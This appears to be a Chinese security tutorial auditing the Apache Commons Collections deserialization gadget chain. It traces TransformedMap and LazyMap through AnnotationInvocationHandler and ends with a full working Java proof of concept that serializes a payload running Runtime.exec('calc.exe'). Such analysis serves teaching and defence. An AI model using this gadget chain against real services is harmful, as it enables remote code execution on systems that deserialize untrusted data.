1、首先已知恶意接口类Transformer、查看他的实现类,使用Crtl+H
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
2、查看InvokerTransformer类,在该类发现到如下问题代码,反射调用传入的任意类
方法,该方法源码如下所示。明显的反射调用,此时就需要定位该方法在那里被调用
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
3、查看到TransformedMap的三个方法transformKey、transformValue、checkSetValue三个函数进行了调用,但这三个方法是protected修饰的
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
4、到TransformedMap的构造函数,发现传入了一个map和两个Transformer,可以理解为接受一个map并对这个map的key和value做一些操作,因为这是一个保护方法, 我们继续找一下在哪里调用了这个方法。
5、找到静态代码decorate方法
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
6、这里就可以完成一个TransformedMap的构造了、这里就需要继续查看那里调用了checkSetValue方法
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
7、进入该方法,该方法在进行设置值时会触发调用链,构造最终调用链Poc
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
看到transformedMap的类型
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
调用后的变量情况
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
这个时候我们继续向上寻找调用链,看哪些类调用了setValue方法,按照流程,我应该能找到在AnnotationInvocationHandler这个类的readObject方法里面调用了setValue方法,可是找了一圈,并没有。。。我以为是我jdk版本的问题,于是在jdk下面查看,路径是rt.jar下面的sun.reflect.annotation,发现这个类不是源代码,所以查找调用的时候不会出现。设置jdk
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
AnnotationInvocationHandler
到目前为止,我们已经构造出了可以执行命令的恶意链,现在需要找可以进行序列化的链条。
到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKey、transformValue、checkSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。
现在只要找到一个符合以下条件的类,并且服务端有反序列化的入口,就可以RCE了。
1.该可序列化的类重写了readObject方法;
2.该类在readObject方法中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的;
查找setValue调用发现在如下类中进行了调用
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
具体源码
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
首先由于该类是受保护得类,所以需要反射区调用
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
第一个问题是setValue,在上面的例子中我们setValue的值直接传入的是一个Runtime对象,但是在AnnotationInvocationHandler类中,这个传入的值并不是我们可控的。
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
第二个问题是对于Runtime类,它并不是可序列化的,因为它没有继承Serializable接口,因此我们也需要通过反射来实现。
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
第三个问题、执行发现没有触发反序列化,查看对应类的readObject方法,需要满足俩个条件
1、AnnotationInvocationHandler构造函数的第⼀个参数必须是 Annotation的⼦类, 且其中必须含有⾄少⼀个⽅法,假设⽅法名是X;2、被TransformedMap.decorate的Map中必须有⼀个键名为X的元素
首先进行调试发现var7值为空不能触发
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
我们首先来分析下var7为何为空值,这里需要对应源码来看、
var 7 =var3.get(var6) va3就是AnnotationInvocationHandler的构造函数的第一个参数的Action.class
var6=var5.getKey() var6就是AnnotationInvocationHandler的构造函数的第二个参数objectMap
var5 = (Entry)var4.next()
var4 = this.memberValues.entrySet().iterator()
所以经过分析第一个条件就是需要满足构造函数的第二个参数(hashmap)的key要是第一个参数(Action.class)的value,
也就是说AnnotationInvocationHandler构造函数的第一个参数要有方法。
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
此时找一个Annotation类的子类
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
查看类源码,使用Input方法。
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
构造hashmap和AnnotationInvocationHandler的初始化
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
在上面的例子中我们setValue的值直接传入的是一个Runtime对象,这里可以看到 在Transformer[]数组里面存储的是一个Runtime.class,而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的 。是不可被序列化的。而Runtime.class是属于java.lang.Class 。java.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
此时我们需要使用InvokerTransformer的形式
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
运行后发现直接是通过transformer进行调用了命令执行,不符合反序列化链。
我们可以发现,实际上是对InvokerTransformer类的transform方法连续调用了三次,不由想到在之前的Transformer的实现类中有一个ChainedTransformer,在它的transform方法中就是一个循环调用的形式。
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
尝试修改源码
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
解决第一个问题传入值不可控
现在我们接着解决上面的第一个问题,就是需要将setValue中的代理替换成我们的Runtime.class,可以通过ConstantTransformer实现。前面讲到了ConstantTransformer的transform方法接收一个输入并返回一个常量,因此我们只需要传入Runtime.class即可
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
最终构造代码
![【创宇小课堂】代码审计-反序列化CC链 代码审计-反序列化CC链]()
调用链
Gadget chain: ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() Map.Entry.setValue()
TransformedMap.checkSetValue() ChainedTransformer.transform()
ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
LazyMap和TransformedMap类似,都继承AbstractMapDecorator。
而TransformedMap是在写入元素的时候执行transform方法,LazyMap是在其get方法中执行的 this.factory.transform。
LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 this.factory.transform 方法去获取一个值
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
而this.factory也是我们可以控制的,在构造函数中。
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
所以构造poc的时候只要令factory为精心构造的ChainedTransformer就行,因此我们找一下哪里可能调用了LazyMap的get方法。
但是我们在AnnotationInvocationHandler#readObject函数中并没有看到有执行get方法,所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:
AnnotationInvocationHandler#invoke看到invoke方向就大概联想到Java的动态代理机制。
总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发
这里再举个例子说明一下如何自动调用的invoke方法
InvocationHandlerExample.class
InvocationHandlerExample类继承了InvocationHandler,实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object 。
package DayoneAppacheCommon; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class App { public static void main(String[] args) { InvocationHandler invocationHandler = new InvocationHandlerExample(new HashMap()); Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler); proxymap.put("1","2"); System.out.println(proxymap.get("1")); } }
在App类中调用这个InvocationHandlerExample
package DayoneAppacheCommon; /* * 1、动态代理技术示例 * * */ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map; public class InvocationHandlerExample implements InvocationHandler { protected Map map; public InvocationHandlerExample(Map map){ this.map=map;} public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if(method.getName().compareTo("get")==0){ System.out.println("Hook Method"); return "Hack object"; } return method.invoke(this.map,args); } }
可以看到调用的get方法,但是被我们动态代理中的invoke方法拦截了,返回了Hacked Object
也就是说这个Map对象经过动态代理处理之后,动态代理对象调用任何一个方法时会调用handler中的invoke方法。
我们回看sun.reflect.annotation.AnnotationInvocationHandler,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到
AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
所以我们只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了在AnnotationInvocationHandler的readObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了
对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 创建LazyMap的handler实例 InvocationHandler handler = (InvocationHandler) constructor.newInstance(Action.class, outerMap); // 创建LazyMap的动态代理实例 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); // 动态代理对象,执行任意方法,都会到invoke中去
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹(我们需要的是AnnotationInvocationHandler这个类的对象)
// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); // readObject的时候主动调用proxyMap的方法进入到invoke中
package DayoneAppacheCommon; import DayOne.ExamEntity; import
org.apache.commons.collections.ProxyMap; import
org.apache.commons.collections.Transformer; import
org.apache.commons.collections.functors.ChainedTransformer; import
org.apache.commons.collections.functors.ConstantTransformer; import
org.apache.commons.collections.functors.InvokerTransformer; import
org.apache.commons.collections.map.HashedMap; import
org.apache.commons.collections.map.LazyMap; import
org.apache.commons.collections.map.TransformedMap; import
org.omg.CORBA.OBJ_ADAPTER; import javax.xml.ws.Action;
import java.io.*; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map; public class AppacheThree { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Action.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Action.class, proxyMap); //序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt")); oos.writeObject(handler); //反序列化 ObjectInputStream objstm = new ObjectInputStream(new FileInputStream("1.txt")); InvocationHandler handler1 = (InvocationHandler)objstm.readObject(); handler.toString(); } }
静态内部类:就是我跟你没关系,自己可以完全独立存在,但是我就借你的壳用一下,来隐藏自己。
内部类:就是我是你的一部分,我了解你,我知道你的全部,没有你就没有我。(所以内部类对象是以外部类对象存在为前提的)
内部类先序实例化外部类,然后外部类.new 内部类来实例化
<a href="https://www.cnblogs.com/GrimMjx/p/10105626.html" h"="">https://www.cnblogs.com/GrimMjx/p/10105626.html
source和idea反编译出来的代码有差异,此时是jdk版本问题,需要设置正确版本jdk才能正常调试class文件
https://www.cnblogs.com/nice0e3/p/13798371.html http://www.codersec.net/2018/01/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-%E7%8E%84%E9%93%81%E9%87%8D%E5%89%91%E4%B9%8BCommonsCollection(%E4%B8%8B)/ https://www.carinago.com/knowledge/%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/02.Java%E5%AE%89%E5%85%A8/2.%E5%90%84%E7%A7%8D%E5%88%86%E6%9E%90/04.Apache_Commons_Collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html#%E4%BD%BF%E7%94%A8lazymap%E5%88%A9%E7%94%A8%E9%93%BE
原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-反序列化CC链
评论